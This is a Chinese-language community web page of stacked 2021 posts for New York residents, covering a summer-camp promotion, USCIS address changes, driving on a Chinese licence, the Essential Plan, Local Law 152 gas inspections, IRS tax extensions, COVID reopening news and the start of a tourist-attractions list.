俗话说得好:养儿一百岁,长忧九十九。现下很多纽约家长正忧心的事情,是随着漫长暑期的到来,如何看顾自家孩子,和如何利用暑假最好是让孩子在学习和能力上皆有所收获又开心呢?无奈上班族的家长无暇顾及;而有时间管束孩子的家长,孩子也不一定听从。喏,一个实际又时尚的解决办法—参加纽约夏令营,例如参加纽约北方学校夏令营无疑是个不错的选择!

纽约北方学校夏令营,在纽约夏令营家长圈中口碑极佳、经验丰富。参加夏令营活动既可让孩子们玩得开心,又能获得专业技能,如学习求生技能、生火、烹饪、射箭等,弥补了学校教育和家庭教育涉及不到的部分。还可选择艺术、文化课程,如中国古典舞、音乐、绘画等、计算器编程、国际数学奥林匹克、SAT备考等,使孩子们的学习亦有进益 。纽约北方学校拥有浓郁的中国传统文化之风,特别注重孩子的道德教育,是华人家庭的首选。

纽约北方学校夏令营–求生技能/射箭

纽约家长们可有福啦,6月28日—8月7日,纽约北方学校夏令营还为7-18岁的孩子提供“实地营”、“网络营”,可寄宿

其实,夏令营Summer Camps作为暑假期间青少年的监管的活动,在美国历史悠久。它的真正价值是孩子们可在活动中学习、娱乐、实践体验,是孩子们一段锻炼成长的好时光。漫长暑假,使孩子们过得快乐又有意义!同时,也解决了家长们的后顾之忧,毕竟孩子们玩得嗨,家长也开心嘛。那么,孩子们在专业、正规的夏令营中能得到什么样的收获?又有哪些好处呢?

 

好处一:参加夏令营活动,可锻炼孩子们的独立性、培养良好的作息习惯

由于暑假不上学,很多宅在家里的孩子们生活规律被打乱,看手机玩游戏、打电脑成瘾,导致昼夜颠倒,三餐零乱,令家长头痛不已。而参加夏令营活动不仅保证了孩子们良好的作息,生活有规律,还可以培养他们的自理能力。例如:早上按时起床,不睡懒觉; 晚上按时就寝,不影响他人休息;每日按时进餐、学习技能、锻炼身体等等。

大部分青少年、儿童都是一个人参加夏令营,全程没有家长陪同,是培养孩子的独立性的好机会,孩子可在活动过程中学习如何自己照顾自己,比如学习简单的做饭,洗衣服,整理自己的夏令营用品等。其实只要有锻炼的机会,孩子们的适应能力都非常强,收获也颇多。

纽约北方学院—书法课程

好处二:参加夏令营活动,可提高孩子们的处事能力

暑假期间,有些学生独自宅在家学习玩乐。时间一长,他们就显得孤单寂寞。而在青少年夏令营中,都是来自不同家庭、不同性格的孩子在一起生活,是培养孩子们良好的沟通能力的最佳时机。夏令营活动中常常会发生一些小的突发事件和困难,孩子们可在过程中学习如何寻求帮助,而能力强的孩子应变潜力便得到了发挥,有利于培养孩子们开朗的性格和处事能力。还能收获兴趣相同的好朋友!

好处三:参加夏令营活动,为孩子们提供良好的朋友圈

孩子们参加夏令营活动,还有一个很重要的好处是解决了社交安全问题。送孩子参加夏令营的家庭都是极看重孩子们的教育的,而参加夏令营孩子们每天都在技能学习中,老师们的看顾指导下,总是快乐充实和积极向上的。在这样的氛围中生活,孩子们接触的同伴、做的事都是满满正能量的,有利于他们的身心健康发展。所以,家长们就不必担心,在漫漫长假里孩子们会结交社会上的闲散人员、小混混等而学坏;也避免了网络对青少年不健康、甚至犯罪的严重的负面影响了。

                           

好处四:夏令营活动是集体生活,可培养孩子们的团队意识

夏令营很多游戏活动是需要团队、小组互相配合才能完成。让孩子们懂得在一个团队里,每个人都是不可或缺的,学习怎样合作。让孩子们能充分感受到团队合作、互帮互助的快乐。这些只有在集体生活中才可体会到的快乐体验,是宅在家里的孩子们感受不到的。团队意识、合作的能力有益于日后孩子们融入社会生活。

好处五:参加夏令营活动,可培养孩子的想力与创造力  拓宽孩子的认知

纽约北方学校夏令营-艺术创作

参加夏令营活动是来均衡孩童在学校以书本为主的教育,为孩子打开智慧的大门,从熟悉的家庭、学校去到一个全新的学习环境。学习课程包括:

  • 中国古典舞、音乐、绘画、美术手工等。创造是一种习惯,审美是一种能力,在快乐的夏令营生活中,孩子们的才艺能得到提高,并获得艺术的熏陶;
  • 计算器编程、设计、机器人技术和3-D建模这些活动过程中,既锻炼了孩子们的动手能力,也培养了他们发现问题、解决问题的能力,更激发了孩子们的创造力;
  •  国际数学奥林匹克、中文和传统文化、SAT备考等, 学习新知识充实自己。

 好处六:夏令营活动,可促进孩子身心发展,用心感受自然之美

夏令营很活动都是在户外开展,打破了很多孩子“学校—家”两点一线的生活。夏令营活动给了他们亲近自然、感受日光的机会,呼吸新鲜的空气,林中草地走一走,摸摸树叶树皮,观察鸟虫……适当的户外运动亦可促进孩子们的骨骼体质、身心发展。

好处七:参加夏令营活动,可学习求生技能

夏令营暑期户外活动,让孩子能够到学习求生技能。例如:生火、烹饪、传统户外游戏,也自然少不了趣味性——学习射箭等。射术,从基于距离和难度的射箭进步水平开始。最棒的射手将保留分数并颁发等级证书。射箭活动,如射箭,是训练头脑冷静和专注的古老技能。射箭和其他射击活动非常适合增强自信心,获得新的户外技能。

那么,如何选择适合自家孩子的暑期夏令营呢?

北方艺术学院(Northern Academy of the Arts,简称 Northern Academy) 是一所在纽约州教育局注册的正规的大学预备学校,坐落在纽约州上州的中城(Middletown)。学生来自美国以及世界各地,北方艺术学院的使命是培养道德高尚有文化的学生。

北方学校夏令营拥有良好的口碑,浓郁的传统文化气氛,注重道德教育,是孩子们暑期生活非常期待的好去处。

 北方学校夏令营的起始时间、年龄要求:

6月28日-8月7日,年龄——从7岁起。

今年夏天加入纽约中城的北方夏令营!来纽约的国内和国际旅客已经不需要隔离。
我们今年为七岁以上儿童增加了户外探险营不需要戴口罩!

 北方学校夏令营的特色

我们经验丰富的指导奥尔先生在此视频中解释射箭、生火和烹饪、传统户外游戏。

 北方学校夏令营的其它课程

包括:中国古典舞、音乐、绘画、美术手工、计算器编程、设计、机器人技术和3-D建模 、国际数学奥林匹克、中文和传统文化、SAT备考等,传统价值和品德教育更会贯穿其中。
您可以选择专注于以上课程之一或尝试混合搭配。这些丰富课程和活动可以帮助孩子们度过一个愉快而有意义的夏天。

 北方学校夏令营的时间安排、及种类

夏令营分两期,一期三周,有日营、下午营、寄宿营和网络营多种选择。
如果希望了解更多信息,请点击这里报名参加我们的网络说明会,周六6月19日纽约时间下午1点。

孩子们的乐观的心态、良好的性格、独立性、人际交往能力……这些能力并非天生,需要后天的培养。参加北方学校夏令营能够让孩子们获得与学校生活不一样的乐趣,放松身心,并期待进入到下学期的学校学习中去!

2021-06-24 / by / in , , , , ,
美国搬家变更地址容易面临驱逐出境如何避免|向 USCIS 报告地址变更详解

文|雨荷

在美国搬家不要忘记将您的地址变更,通知美国公民及移民服务局 (USCIS)。不仅继续收到有关您的移民身份的官方通知很重要,而且这也是法律。未能及时报告新地址属于轻罪,可能会导致罚款、监禁甚至驱逐出境。

让 USCIS 了解情况很容易。大多数人可以简单地在线更新地址,但有些人可能需要邮寄AR-11 表格(正式称为“外国人地址变更卡”)。本指南将帮助您了解何时以及如何向 USCIS 正确更改您的地址。

您需要将您的新地址告诉 USCIS 吗?

大多数外国人,以及担保移民的美国公民,如果搬家,必须立即通知 USCIS。如果不这样做,可能会导致申请延迟、罚款、监禁甚至驱逐出境。在实践中,USCIS 没有足够的资源,来起诉每一个未能更新地址的移民——但在当前的环境下,最好遵守规则。

永久居民

作为绿卡持有人,您必须在更改地址后 10 天内通知 USCIS。无论您持有的,是有条件的2 年绿卡,还是无条件的 10 年绿卡,规则都是相同的。

其他非公民

如果您持有临时签证,例如H-1B 工作签证,您必须在搬家后 10 天内向 USCIS 更新您的地址。

唯一免除此要求的非移民访客是:

  • 外国外交官和政府官员(A签证);
  • 国际组织的政府代表(G签证);
  • 游客和其他游客使用签证豁免,计划进行少于 30 天的旅行。

美国公民

如果您是通过填写I-864 表格,担保移民的美国公民,您应该在地址发生任何变化后 30 天内通知 USCIS。如果您未能通知 USCIS,您不会面临起诉,但这可能会导致移民延误或其他问题。

如何向 USCIS 更新您的地址

非公民

非公民可以通过三种方式向 USCIS 提交地址变更:

  1. 在线,通过 USCIS 更改地址页面,更改 USCIS 存档地址。
    最简单方法是使用在线地址更改表。完成大约需要 5 分钟,您可以要求立即发送电子邮件确认。您应该会在大约 15 天内收到地址更改的邮件确认。
  2. 在线,通过您的 USCIS 帐户,如果 您在线提交原始文件,您可以登录您的USCIS 在线帐户以快速轻松地更改您的地址。
  3. 邮寄,您可以通过邮寄方式提交AR-11 表(正式称为“外国人地址变更卡”)来登记地址变更。请务必使用黑色墨水并在表格上签名,否则可能会被拒绝。该表格包括邮寄地址的说明。

    在填写地址变更表之前,请务必准备好以下信息:

    • 您的新地址
    • 你的旧地址
    • 如果您是绿卡持有人,请提供您的绿卡收据号码。(这可以在 USCIS 在收到您的原始申请后发给您的通知中找到。)如果您是担保人,请提供请愿人的姓名和其他履历信息。

      美国公民

      美国公民可以通过 3 种方式让 USCIS 知道地址变更:

      1. 在线,通过 USCIS 更改地址页面更改 USCIS 存档地址。
        最简单方法是使用https://www.uscis.gov/addresschange 上提供的在线地址更改表。完成大约需要 5 分钟,您可以要求立即发送电子邮件确认。您应该会在大约 15 天内收到地址更改的邮件确认。
      2. 通过电话,美国公民可以拨打 1-800-375-5283 告知 USCIS 地址变更。(非公民仍然需要提交 AR-11 表格或在线通知,即使已通过电话告知 USCIS 地址变更。)
      3. 邮寄,您可以通过提交I-865 表格(“赞助商地址变更通知”)来报告地址变更,从而登记地址变更。

    常见问题和其他资源

    如果我没有在规定的时间内更新我的地址怎么办?

    如果您没有及时更新地址,理论上您可能会面临罚款、监禁甚至驱逐出境。这种情况很少发生,但您应该立即向 USCIS 更新您的地址,并在未来任何搬迁后继续及时更新您的地址。

    如果在安排入籍面试后搬家怎么办?

    即使您已安排面谈,您仍应在更改地址后的 10 天内更新 USCIS。这样,USCIS 就会知道将任何进一步的信件发送到您当前的地址。

    如果要出国怎么办?

    您仍应在搬家后 10 天内通知 USCIS。如果您的移民案件现在由国家签证中心处理,直接与他们联系,以确保他们知道您的新地址。

    如果暂时没有地址怎么办?

    即使您要从一个临时地址搬到另一个临时地址,您也应该在 10 天内更新 USCIS。如果您没有任何地址,您应该在解决您的情况后立即更新 USCIS,甚至有地址,即使它只是一个临时地址。

    如果提交了地址变更但 USCIS 从未收到过怎么办?

    您全权负责让 USCIS 了解您的地址,但大多数处罚侧重于惩罚故意不更新地址的人。尽管如此,证明自己的清白仍由您决定,因此如果您通过邮件提交,最好保留这样做的记录。请记住,在线提交更容易,而且不会有任何侥幸心理。

    如果使用美国邮政服务地址变更表,USCIS 会收到通知吗?不,您需要单独通知 USCIS。您的 USPS 地址变更表仅涵盖您收到的邮件,不会对 USCIS 为您保留的地址产生任何影响。此外,即使您提交了邮寄地址变更表,USCIS 的信函通常也不会由 USPS 转发,因此除非您及时更新 USCIS,否则您很可能会错过重要的信函。

    您还可以使用 USCIS 的自助服务工具找到许多常见问题的答案,其中包括操作指南和名为“ EMMA ”的聊天机器人。您还可以在他们的网站上找到您当地的办公室和USCIS 联络中心的电话号码。

2021-06-21 / by / in , , ,
中国驾照在美国开车详解|哪些州承认中国驾照|中国驾照在纽约

文|雨荷

每年有数百万中国公民出于旅游和商务目的前往美国,除使用公共交通工具外,大多数人需要租车。然而,许多人实际上并不知道持中国驾照在美国开车是否合法。因为美国各州的交通法规略有差异,因此中国驾照能否在美国使用因州而异。

可以用中国驾照在美国开车吗?

持中国驾照能不能在美国开车没有一个明确的答案,因为每个州都有自己的使用国际驾照的规定。例如,来自EVUS (电子签证更新系统)注册国家的旅客可以合法地使用他们的中国驾照在纽约开车,但根据法律,在邻近的马萨诸塞州则不能这样做。

一些州不接受中国驾照作为有效证件,并要求外国旅客在本国的有效驾照之外还需持有国际驾照 (IDP)。因为中国不是联合国《日内瓦道路交通公约》和《维也纳道路交通公约》缔约国,所以中国公民没有资格申请 IDP,但只有少数几个州执行此规则,包括:

阿肯色州

乔治亚州

夏威夷肯塔基州

密歇根州

新泽西州

德克萨斯州

佛蒙特

但是,尽管这些州坚持要求 IDP,但如果您在美国进行短期逗留,并且司机随身携带驾照的英文翻译,则您可以使用中国驾照在大多数州开车。

建议中国公民联系所在州的机动车辆部门,以确保可以持有中国驾照在该州合法驾驶。或者,可以直接与您计划访问的州的汽车租赁公司联系。

外国驾照可以在美国开车多久?

计划在美国开车的中国公民应该注意,有些州对您可以使用中国驾照作为有效证件,但有时间有限制。那些计划获得美国居留许可,并在美国永久居住的人,必须从他们将居住的州获得驾驶执照。填写 EVUS 表格后持 B1/B2 签证前往美国的人,必须牢记以下在美国某些州驾驶的时间限制。如果适用,还包括年龄限制。

中国公民还可以使用中国驾照,在以下各州租车驾驶一段不确定的时间。包括每个州的最低驾驶年龄:

阿拉巴马州,16 岁以上

加利福尼亚州,18 岁以上

科罗拉多州,16 岁以上

特拉华州,16 岁以上

佛罗里达州,16 岁以上

爱达荷州

伊利诺伊州

印第安纳州

爱荷华州

堪萨斯州

缅因州,16 岁以上

马里兰州

明尼苏达州,15 岁以上

密苏里州,16 岁以上

蒙大拿州,15 岁以上

内华达州,16 岁以上

新墨西哥州,15 岁以上

纽约州

北卡罗来纳

北达科他州,16 岁以上

俄亥俄州

俄克拉荷马州,16 岁以上

俄勒冈州,16 岁以上

宾夕法尼亚州,16 岁以上

罗德岛州, 16+

南卡罗来纳州,16+

南达科他州,16 岁以上

田纳西州

弗吉尼亚州,16 岁以上

怀俄明州

非公民居民在美国开车需要什么身份证?

如果您有资格申请驾驶执照,您必须从您居住的州获得驾驶执照。获得美国驾照的居住要求因州而异。检查要求并

通过联系您所在州的机动车辆部门了解如何申请。美国驾照允许您在美国的任何地方开车。您需要了解并遵守您驾

驶所在州的法律。

在纽约开车注意事项

一.在纽约,司机必须给其他驾车者或行人让路,以避免发生事故。

二.您必须为有闪光灯或正在装卸的校车停车。在纽约,这条规则甚至适用于如果您在分开的高速公路的另一边。

三.所有前座驾驶员和乘客都必须系好安全带。

四.4 岁以下的儿童必须坐在安全座椅上。40 至 100 磅至 6 岁的儿童必须坐在加高座椅上,而超过 100 磅的儿童必须使用带有肩带和腰带的安全带。

注:计划在一个州租车并在美国开车穿越其他州的人应该确保他们将经过的所有领土也接受中国驾照作为有效证件。

2021-06-19 / by / in , , , , , , ,
纽约州免费健康保险计划 医疗保健基本计划Essential Plan | 低收入 外籍 庇护申请人士的健康保障 2021年最新

美国的低收入人群可以享受免费或低成本的医疗保险,不过一般都是针对美国公民或有绿卡身份的。纽约州推出的基本计划Essential Plan是一项免费健康保险计划,并且不限于纽约州居民,在纽约居住有合法身份的人都可以投保。基本计划Essential Plan具体的投保资格要求是什么, 包括的免费医疗项目有哪些呢?

什么是基本计划 Essential Plan

基本计划Essential Plan是纽约州针对较低收入人群推出的医疗保险计划,每月的健保费是0美元,也就是说基本计划是一项健保费用为免费的医疗保险。

哪些人可以参加基本计划

在纽约州居住,纽约州的合法居民,不符合Medicaid白卡或CHIP儿童医疗保险资格要求;并且没有雇主和其它健康保险的较低收入人员,都符合参加基本计划Essential Plan的资格要求。

有合法身份的人都可以投保, “合法身份”不仅指绿卡和公民,还包括在办理移民身份过程中的人,例如办理庇护申请等待中、以及持有有效签证长期生活在纽约的外籍人士(比如F1,J1, OTP 签证),都可以申请。

年龄要求:

纽约居民:19-64岁;

外籍人士:21-64岁;

收入要求:

想了解是否符合基本计划的收入要求,可参考以下家庭人数及收入表格:

家庭人数 收入最高达到
1 $25,760
2 $34,840
3 $43,920
4 $53,000

 

每月医疗保险的花费

每人每月0美元医疗保险费用。

Essential Plan的优点是:没有年度自负额,免费预防治疗,月度支付额低至0美元。

您只要参加了基本计划,无需承担自负额(Deductible),就可以享受免费或低成本医疗,还可以获得免费的预防医疗护理,比如常规医生检查、筛选和打预防针的费用,并且包括了牙科和眼科的医疗保险。

以下是纽约健保网站列出的针对不同类别医疗服务的费用:

投保方法

  1. 网上查询:nystateofhealth.ny.gov;
  2. 电话咨询:1-855-355-5777;
  3. 通过社区资格认证的辅助员免费帮助。

 

有中文服务吗?

电话咨询和寻求辅助员帮助这两种方式都有中文服务。

基本计划覆盖的范围

  • 看医生,包括专家门诊;
  • 医生要求的各类实验室检测及影像科;
  • 处方药;
  • 住院及门诊护理;
  • 免费预防护理;
  • 产妇及新生儿护理;
  • 急诊服务;
  • 心理健康;
  • 康复和复健服务;
  • 牙科和眼科。

什么时候可以参加基本计划

您全年任何时候都可以参加基本计划Essential plan。

 

基本计划是公共负担吗

纽约州健保市场2020年1月31日的声明指出,基本计划不算作公共负担Public Charge。 此计划的保费低至0元但不被纳入公共负担,不会影响办绿卡或身份转换,不过此计划仅适用于纽约州。

纽约州基本计划属于纽约州政府所提供的补助计划,而非联邦政府的补助计划。

2021年3月9日,纽约市官员颁布了关于结束 “公共负担” 规则的声明

所以说,在没有收到政府进一步说明更新的时候,纽约州基本计划是不属于公共负担的。

 

声明:本文非法律文件,仅作为一般性参考内容,勿以此为依据提出法律诉讼或任何证明,我们不负担任何形式的责任。您在有需要时请向专业的税务法律顾问咨询。

2021-06-19 / 1 Comment / by / in ,
纽约Local law 152详解|最高处罚1万美元!不可不看

纽约市的一项地方法律和在纽约的华人特别是开餐馆的朋友密切相关,就是在2020年年初生效的纽约市第152号地方法(local law 152)。这项法律规定,纽约市所有的建筑物每四年要进行一次燃气(煤气)管道检查。

local law 152与National Grid或者 ConEdison 煤气检查不同,它是根据单独的州法强制执行。未在规定时间内提交检查报告的业主将会面临最高1万美元的巨额罚款。

纽约执照水喉师/煤气泄漏维修/宏图水喉 917-655-2888/通下水/烟囱清理

纽约市第152号地方法(local law 152)是什么?何时生效?

纽约市议会于2016年首次通过了第152号地方法(local law 152),作为燃气安全使用方案的一部分。(2016年第152号地方法原文点击此处。)

2019 年11月13日纽约市楼宇局 (DOB) 最终确定了该法律的规则,包括所需检查的频率、检查员的资格、检查范围等等。(原文点击此处),2020年1月1日开始生效。

该法明确要求纽约市建筑业主每四年必须要进行一次燃气(煤气)管道检查。需要有纽约市执照的水管工( licensed master plumber ,简称LMP)对从入口到所有暴露的煤气管道进行检查。

检查的内容包括,是否存在过度的腐蚀或管道老化,从而有导致危险的状况,是否有非法连接和不符合法规的安装。检查方还应使用便携式可燃气体检测仪测试公共场所,过道,机械室以及锅炉房等,包括屋顶。以确定是否存在气体泄漏。

检查的时间和范围

  • 2020 年 1 月 1 日 – 2020 年 12 月 31 日 区:所有行政区的 1、3 和 10的社区。
  • 2021 年 1 月 1 日 – 2021 年 12 月 31 日 区:所有行政区的 2、5、7、13 和 18的社区。
  • 2022 年 1 月 1 日 – 2022 年 12 月 31 日 区:4、6、8、9 和 16 的社区。
  • 2023 年 1 月 1 日 – 2023 年 12 月 31 日 区:所有行政区的 11、12、14、15 和 17的社区。

 

初次检查后,必须每四年进行一次检查并提交检查报告给纽约市楼宇局(DOB)。

查看您的房子位于第几区:

https://communityprofiles.planning.nyc.gov/brooklyn/4

注意如果您未能在截止日期之前提交检查报告,可能会被处以最高10,000美元的民事罚款。

local law 152 适用于哪些建筑?

根据楼宇局的建筑法规,包括三家庭及三家庭以上的房屋,以及Mix-used的商住两用的房子都需要进行检查。纽约市受影响的建筑物估计总数约为 280,000 座。

被归类为R-3居住组的房子可免除检查, R-3居住组指拥有一家庭或两家庭且居住人数少于20人的建筑。

应该怎样获得和提交检查报告?

由持牌的水管工 (LMP)进行检查,并在部门官网下载一个PDF格式的“气体管道系统定期检查认证表” (GPS1)表格,水管工应在自检查之日起 30 天内,向业主提供完整填写的 GPS1表格。

在检查后的 60 天内,业主必须向 DOB 提交一份由进行监督检查的 LMP 签署并盖章的燃气管道系统定期检查证明(GPS2)。GPS2 提交将由业主在纽约市楼宇局 GPS2 提交门户网站上完成,没有申请费。

如果提交给 DOB 的检验证明表明,在水管工提交给业主的检验报告中发现有需要纠正的情况,业主必须在检验后的120天内向 DOB 提交一份由 LMP 签名并盖章的检验证明谁进行了检查,并说明情况已得到纠正。

所有报告和证明必须由检查实体和建筑物所有者存档 10 年。

如果我发现了泄漏,并闻到煤气味该怎么办?

如果您认为自己闻到煤气味,应离开该区域并拨打 911。消防部门会做出回应并致电公用事业公司。这些急救人员经过专门培训,可以寻找可能的气体泄漏。

在这个时候不要在您认为可能存在燃气泄漏的区域使用手机、手电筒或任何其他电子设备。请勿在该区域打开任何灯或操作任何电器。


宏图水喉公司的管道工都是训练有素、执照的专业人员,能够为您提供最专业的煤气测试检查。

宏图执照煤气水喉暖气维修,急客户之所急,随叫随到。
电话:917.655.2888(24小时) 718.216.7327

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2021-06-18 / by / in , , ,
2021美国国税局个人申请延期报税详解|申请税收延期

美国个人报税已经截止,如果你还没有申报,不用惊慌。美国国税局(IRS)开放民众申请延期报税到10月15日。

什么是 IRS 税收延期?

纳税延期让您有额外 6 个月的时间来提交纳税申报表,使您的新截止日期为 10 月 15 日。在 2021 年 5 月 17 日之前在 eFile.com 上免费提交 2020 纳税年度的电子文件或IRS 表格 4868。在 eFile.com 上准备和电子提交您的联邦税收延期很容易,因为美国国税局(IRS)会为您生成表格 4868。使用IRS Penalty Estimator查看不报税与不纳税的处罚。

重要提示:

如果您的 eFile.com 帐户中有 IRS 接受的 2020 年税收延期,则在2021 年 10 月 15 日之前完成并电子提交 2020 年纳税申报表时,您可以使用促销代码ext40efile节省 40%。

如果您没有足够的税务信息或所有税务记录,无法在纳税日(即 2021 年 5 月 17日)之前开始并通过电子方式提交纳税申报表,您应该在该日期之前通过电子方式提交 IRS 延期。但是,您需要了解您预计欠税的金额,并在 2021 年 5 月 17 日之前支付至少 90% 的应付余额,以避免 IRS 罚款和利息。您可以使用IRS的免费税务计算器估算您的纳税义务(或退税)。

准备和提交纳税申报表之前要做的事情

在您提交申请之前,了解您的税务情况,来确定某人是否有资格成为您的受抚养人,您是否可以申请儿童税收抵免,或者您是否可以作为主管报税家庭!

3个顶级税收扩展技巧

1. 如果您没有准备纳税申报表所需的所有信息,请务必通过电子方式提交纳税延期。

2. 如果您拥有纳税所需的一切,请勿通过电子方式提交纳税延期;准备和电子提交纳税申报表将节省您的时间和金钱。

3. 延期纳税不会推迟您的 IRS 纳税期限,而不会产生延迟付款罚款。延期只会在2021 年 10 月 15日之前消除 IRS 迟交罚款(通常高于迟交税款罚款)。迟交罚款将从 2021 年 5 月 17 日纳税日开始。如果您没有在 2021 年 10 月 15 日之前提交申报表,迟交罚款将因延期而开始执行。滞纳金罚款将从纳税日开始计算,直至缴纳应缴税款为止。

何时准备和电子提交税务延期

您应该在 2021 年 5 月 17 日之前,即电子提交 2020 纳税申报表的截止日期的同一天,通过电子方式提交 2020 纳税年度的联邦税收延期。如果您使用电子报税延期,您电子报税的新截止日期为2021年 10 月 15 日。 2020 年10 月 15 日 之后,如果您已经在 eFile.com 上准备了报税表,您仍然可以访问您的报税表打印出来,邮寄给国税局备案。但是,10 月 15 日之后,您将无法再在线准备或通过电子方式提交当前纳税年度申报表。

税务提示:

如果您欠税,但您已经错过了电子提交延期的截止日期,您应该立即电子提交您的纳税申报表,以避免进一步的罚款、费用和利息。

您可以在纳税日之前在 eFile.com 上开始并以电子方式提交纳税申报表。在您提交电子文件之前,请了解您欠的税额。一旦您的纳税申报表被 IRS 接受,您可以通过提交税务修正案并下载表格 1040X来更改此申报表。修改纳税申报表没有截止日期,但申请退税有 3 年的限制。如果您通过电子方式提交税务延期,您电子提交 2020 年纳税申报表的新截止日期将是2021 年 10 月 15 日。

税务提示:

电子报税扩展所需的时间几乎与开始和电子报税所需的时间一样多,因此您最好准备好您拥有的信息并按时电子报税。即使您在纳税日之前没有获得所有税务信息,您也可以随时修改您的纳税申报表,并且您在原始申报截止日期后最多 3 年内可以申请退税。

• 税收延期应在当前纳税年度的纳税日到期。在该日期之后,美国国税局将不再接受该纳税年度的延期请求或补税。

• 如果您没有为上一个纳税年度提交纳税申报表,建议您尽快提交申报表并尽可能多地支付。

电子提交延期而不纳税?

即使您没有钱支付所欠的税款,您也应该通过电子方式提交纳税延期或纳税申报表。 不通过电子方式提交任何文件的潜在IRS 费用和罚款将超过所欠税款。因此,尽可能多地或尽可能少地支付,但要通过电子方式提交纳税延期或申报表。美国国税局很可能会在逾期付款中增加罚款和利息。

找出你欠税多少

选项 1:使用 eFile.com免费税费计算器估算您的税费。

选项 2: 在 eFile.com 上开始报税。在您通过电子方式提交申报表之前,您将根据您输入的所有税务信息了解您是否欠税。

无论是否可以全额付款,您都应该在纳税申报表到期之前提交纳税申报表。根据您的情况,您可能有资格获得IRS 付款计划。

如有关于税收延期的任何问题,请联系 eFile.com。

美国公民、居住在国外的居民外国人的税收延期

如果您是美国居民或在纳税日居住在美国和波多黎各境外的居民外国人,并且您的主要营业地点在美国境外,则您提交 2020 年 IRS 纳税申报表或税收延期的纳税截止日期为 2021 年 6 月 15 日; 在此处查看州纳税申报截止日期。但是,您需要以书面形式提交申报表并附上一份声明,解释您为什么有资格获得延期。您可以在 eFile.com 上准备 2020,然后下载、打印、签名和邮寄。

如果您需要更多时间在 2021 年 6 月 15 日之后(至 2021 年10 月 15 日)提交 2020 年纳税申报表,您可以在2021 年 6 月 15 日之前在eFile.com 上准备并电子提交表格 4868。2021年 10 月 15 日之后,您需要准备并提交纸质表格(因为 IRS 将在该日期之后停止接受 eFiled 2020 纳税申报表)。在将表格邮寄给 IRS 之前,请确保您在表格上签名并勾选表明您在纳税日离开该国的方框。

军队的自动税收扩展

如果您在纳税截止日期(2020 年纳税年度的 2021 年5 月 17日)是驻扎在美国境外的武装部队成员,那么您将自动获得 2 个月的延期提交您的纳税申报表。从 2021 年 5 月 17 日到缴纳税款之日之间的任何欠税都会收取利息。您可以使用表格 4868获得额外的延期至2021 年 10 月 15 日 。

如果您是2021年5 月 17日在官方指定的战区(或应急行动)中现役服役的美国武装部队成员,您将收到自动延长提交时间和付款时间。延期将是 180 天加上您在战区服役时剩余的申报天数。 了解有关军队延期的更多信息。

延税拒绝说明

如果您在 eFile.com 上通过电子方式提交了 2020 年纳税延期,但 IRS 拒绝了,建议您立即开始 2020 年纳税申报表。如果您获得退税,则迟交不会受到处罚。如果您欠税,即使您现在无法缴纳税款,您也应该立即通过电子方式提交纳税申报表,以避免受到最严重的处罚。

如果无法支付税款怎么办?

根据国税局的说法,纳税人或有资格使用在线支付计划(online payment plan)或分期付款协议(installment agreement),以增加时间付清未付余额。即使你之前已经确定的付款计划,你仍可以更换计划以修改现有的付款协议。

什么时候能拿到退税?

根据规定,纳税人须提交退税表,经过国税局处理后,才能收到退税。

如果住在国外该怎么做?

1.如果你是美国公民或常住美国的外国居民,并且在美国和波多黎各等地方外生活和工作,你会自动获得额外的时间,到6月15日,以申报联邦税。虽然这类纳税人不需要提交 4868 表来获得延期,但须提交一份声明,解释你为什么有资格获得较晚的截止日期。

2.如果你不能在6月15日前报税,你可以提交一份4868 表,要求再延期到10月15日。你可以在6月15日之前提交这份表格。

注:上述纳税人需要在5月17日结束前支付税款,否则将交未缴税的利息。

2021-06-18 / by / in , , , ,
纽约州加州重新开放 取消疫情限制措施

纽约州和加州都受到了武汉肺炎病毒(COVID-19)的重创,近期已逐步走出了疫情的阴影。本周二(6月15日),两个州都宣布取消所有疫情限制措施,重新开放。

库默:回到我们所知道的生活

6月15日,纽约州州长安德鲁·库默(Andrew Cuomo)在曼哈顿下城举行的新闻发布会上表示,至少70%的纽约人现在已经至少接种一剂Covid-19疫苗,所有州政府规定的武汉肺炎限制措施将被取消,并立即生效。

库默指出,纽约州的冠状病毒(武汉肺炎)阳性率一度达到48.16%——曾经世界第一。他说,该州现在的阳性率为0.40%。根据约翰霍普金斯大学的数据,这是全国最低的阳性率。

库默表示,纽约州迄今已接种超过2,020万剂疫苗,“我们现纽约疫情在可以回到我们所知道的生活。”

美东时间周二晚上,纽约州各区将有烟花表演进行庆祝,帝国大厦也会重新被点亮。

加州完全重新开放经济

加州是美国第一个因为武汉肺炎(COVID-19)而实施封锁的州,现在睽违一年多时间,首次全面重新开放。加州政府于6月15日取消了大部分的防疫限制措施。

根据加州官方网站的说明,从周二开始,该州不再规定社交距离,也不再限制餐馆、酒吧、超市、健身房、体育场等地方的人数限制。

此外,不再强制要求已接种疫苗的人在大多数场合,包括在室内,佩戴口罩。

而未接种疫苗的人在室内公共场合和企业(例如:零售业、餐馆、剧院、家庭娱乐中心、会议、为公众服务的州和地方政府办公室)必须戴口罩。

州长加文‧纽森(Gavin Newsom)在重新开放的前一晚说:“恕我直言,请尽情享受美国的其它地方。在美国没有任何一个州(比加州)拥有更多的东西。本州不仅仅是准备恢复,还准备强势回归。”

迪斯尼乐园目前不再只对加州居民开放,而是向所有游客敞开大门。

加州旅游局总裁卡罗琳‧贝塔(Caroline Beteta)说,“本州的旅游业已经准备好向加州、全美国各地甚至全世界的游客铺上红地毯。”

2021-06-15 / by / in , , ,
美国纽约10大旅游景点|美国纽约最受欢迎景点

文|雨荷

纽约是美国最大、人口最多的城市,纽约市经常被称为“不夜城”。大都市是文化、艺术、建筑、历史和娱乐的纽带。纽约旅游景点有哪些?以下是美国纽约最受欢迎景点。

纽约市的10大旅游景点

1.自由女神像Statue of Liberty

自由女神像是法国送给美国的礼物,一百多年来一直欢迎新来者来到美国海岸。自由女神高达 93 米(305 英尺),游客可以爬上去欣赏布鲁克林和古斯塔夫·埃菲尔的支撑框架。对于那些选择不爬上 154 级台阶的人来说,基座可以欣赏到海港和纽约市中心的全景。公园巡游者全天提供自由岛的导游服务,并提供九种语言的自导音频,游览包含在前往该岛的渡轮票中。

2.帝国大厦Empire State Building

